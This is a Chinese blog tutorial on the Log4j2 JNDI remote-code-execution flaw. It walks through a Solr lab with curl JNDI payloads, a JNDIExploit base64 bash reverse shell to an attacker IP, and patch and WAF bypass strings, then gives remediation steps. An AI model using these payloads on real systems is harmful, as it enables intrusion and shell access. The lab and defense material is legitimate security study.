核弹级漏洞Log4j2(CVE-2021-44228)全解析:从原理到绕过,手把手复现与防御(附靶场+POC)
2026/7/30 2:29:15 网站建设 项目流程

哈喽,大家好,我是专注实战攻防的网安博主小北。2021年底,Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)如同核弹一般席卷了整个安全圈,无数企业、服务商连夜应急。即便到了今天,它依然是渗透测试、红蓝对抗中常见的突破口,也是安全面试的高频考点。今天这篇文章,我将从底层原理开始,一步步带你手撕源码、搭建复现环境、掌握多种利用与绕过手法,并给出生产级的修复方案。文末有我打包的完整靶场镜像、POC脚本和一键加固工具,关注后即可领取。全程干货,建议收藏后再看。

一、漏洞背景与影响范围

Log4j2 是 Apache 旗下的一款高性能 Java 日志框架,被几乎所有的 Java 生态项目(Spring Boot、Elasticsearch、Kafka、Struts2 等)广泛集成。正是这种“基座式”的普及度,使得该漏洞的破坏力呈指数级放大。

漏洞的根源在于 Log4j2 的“Lookup”功能。为了在日志中动态替换某些字符串,Log4j2 允许使用${prefix:name}的语法去引用外部数据源,比如${java:version}可以输出当前 JVM 版本,${env:AWS_SECRET_KEY}可以读取环境变量。这本是一个极为便捷的特性,但其中的JNDI Lookup接口没有对目标地址做任何限制,允许通过 JNDI 协议(LDAP、RMI)去加载远程的恶意对象,从而直接导致远程代码执行。

受影响的版本主要是 2.0-beta9 至 2.14.1。如果你的项目中使用了这些版本的 Log4j2,或者间接依赖了它们,而且未采取任何缓解措施,那么你的服务器在攻击者面前基本是透明的。

二、从源码理解漏洞触发机制

要真正吃透这个漏洞,必须看代码。我们先找到org.apache.logging.log4j.core.lookup.StrSubstitutor,这个类负责解析日志消息中的${}占位符。它的核心替换逻辑会遍历所有已经注册的 Lookup 实现,包括DateLookupJavaLookupJndiLookup等。

关键调用链大致如下:

  1. 应用打印日志,消息体包含${jndi:ldap://evil.com/exp}

  2. MessagePatternConverter调用StrSubstitutor.replace()

  3. StrSubstitutor解析到jndi前缀,调用JndiLookup.lookup()

  4. JndiLookup直接使用InitialContext.lookup()去请求攻击者指定的 LDAP/RMI 服务。

部分简化后的关键源码:

java

// JndiLookup 类 public class JndiLookup extends AbstractLookup { public JndiLookup() { super(); } @Override public String lookup(LogEvent event, String key) { if (key == null) { return null; } try { javax.naming.Context ctx = new InitialContext(); // 直接拼接用户输入,发起远程调用 Object obj = ctx.lookup(key); return obj != null ? obj.toString() : null; } catch (NamingException e) { return null; } } }

可以看到,传入的key完全由用户控制,没有任何过滤。攻击者只需要构造一个恶意的 LDAP 服务,并在返回的 Reference 中指定远端工厂类地址,目标服务器就会自动下载并执行该类中的代码。这本质上是 JNDI 动态协议转换的一个设计缺陷被滥用,而非简单的代码 bug。

三、本地靶场搭建(保姆级)

为了让新手也能快速上手,我基于 Vulhub 做了优化。你只需要确保本地安装了 Docker 和 Docker Compose。

  1. 克隆环境:

bash

git clone https://github.com/vulhub/vulhub.git cd vulhub/log4j/CVE-2021-44228 docker-compose up -d
  1. 访问http://your-ip:8983,会看到一个 Solr 管理界面。这是一个经典的漏洞载体,因为 Solr 内部广泛使用 Log4j2 记录查询参数和 HTTP 头。

  2. 验证漏洞是否存在。首先在你的攻击机上启动一个简单的 HTTP 服务器,或者使用 DNSLog 平台。我们利用 DNSLog 来检查回显:

bash

curl -H 'X-Forwarded-For: ${jndi:ldap://xxxxx.dnslog.cn/test}' http://target:8983/solr/admin/cores

如果 DNSLog 平台收到来自目标 IP 的解析请求,说明漏洞被成功触发,你的输入被 Log4j2 解析并执行了 LDAP 请求。

四、命令执行完整利用

验证了漏洞,接下来要实现命令执行。我们需要一个 JNDI 注入利用工具,这里以经典的JNDIExploit-1.2-SNAPSHOT.jar为例。

  1. 在攻击机(假设 IP 为 192.168.1.100)上启动恶意 LDAP 服务:

bash

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.1.100 -p 1389

该工具会同时监听 LDAP 和 HTTP 服务。

  1. 准备要执行的命令。为了应对编码问题,可以使用 Base64 编码,比如执行calc.exe(Windows)或反弹 shell。这里演示弹出计算器:

bash

# 计算器命令 curl -H 'X-Forwarded-For: ${jndi:ldap://192.168.1.100:1389/Basic/Command/Base64/Y2FsYy5leGU=}' http://target:8983/solr/admin/cores
  1. 如果目标为 Linux,想反弹 shell,可以这样构造:

bash

# 反弹 shell 的 Base64 编码 echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | base64 # 得到 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ== # 将 Payload 替换即可

此时,你将在攻击机的 Netcat 监听中获得一个反向连接的 Shell。

五、绕过RC1补丁与高版本JDK限制

漏洞爆发后,Apache 紧急发布了 2.15.0-rc1,将JndiLookup中限制为只能使用java:ldap:ldaps:等白名单协议,并且对主机名做了一定校验。然而,很快就出现了新的绕过方式。

  1. 利用${${lower:j}ndi}混淆:通过嵌套 Lookup 函数lowerj变成小写,拼凑出jndi,从而绕过基于字符串jndi:的精确匹配。

    text

    ${${lower:j}ndi:ldap://evil.com/exp}

    类似地,还可以使用upperreverse等函数进行组合混淆。

  2. 绕过 JDK 高版本信任机制:JDK 6u211、7u201、8u191 以后,默认com.sun.jndi.ldap.object.trustURLCodebase被设置为false,不允许从远程加载类。但这并不意味着绝对安全。攻击者可以利用本地的 Gadget 链(例如 Tomcat 自带的BeanFactory)进行反序列化攻击,同样可以实现代码执行。工具JNDIExploit已经集成了TomcatBypass模块,适合在目标 Tomcat 环境下直接使用。

六、WAF绕过手法

在真实攻防中,目标往往部署了WAF,会检测jndi:ldap:等敏感字符串。常见的绕过思路有:

  • Unicode 编码\u006andi表示jndi

  • URL 编码:对冒号、斜杠等进行二次编码。

  • 利用其他 Lookup 拼接${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap://evil.com/exp}
    这些手法要求测试人员熟悉 Log4j2 的解析顺序和 WAF 的解码逻辑,通常可以结合使用。

七、生产级修复方案

漏洞修补不能仅仅依赖打补丁,必须采用纵深防御策略:

  1. 紧急升级:将 Log4j2 升级至2.17.1(Java 8)或2.12.4(Java 7)及以上。如果无法立刻升级,务必删除 jar 包中的JndiLookup.classzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

  2. JVM参数缓解:设置-Dlog4j2.formatMsgNoLookups=true,或在环境变量中加入LOG4J_FORMAT_MSG_NO_LOOKUPS=true。但这在 2.10.0 以上版本才有效,且存在绕过可能。

  3. 网络层拦截:在 WAF 或 IDS 上配置规则,检测并阻断包含${jndi:${${lower:等特征的流量,同时注意各种编码转换。

  4. 最小权限:运行 Java 应用的服务账户禁止出外网,这样即便被触发也无法连接外部恶意 LDAP 服务。

我把上述所有步骤用到的工具、脚本、Docker-compose 文件以及详细的绕过 POC 都整理成了一个资料包,方便大家下载后直接练习。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询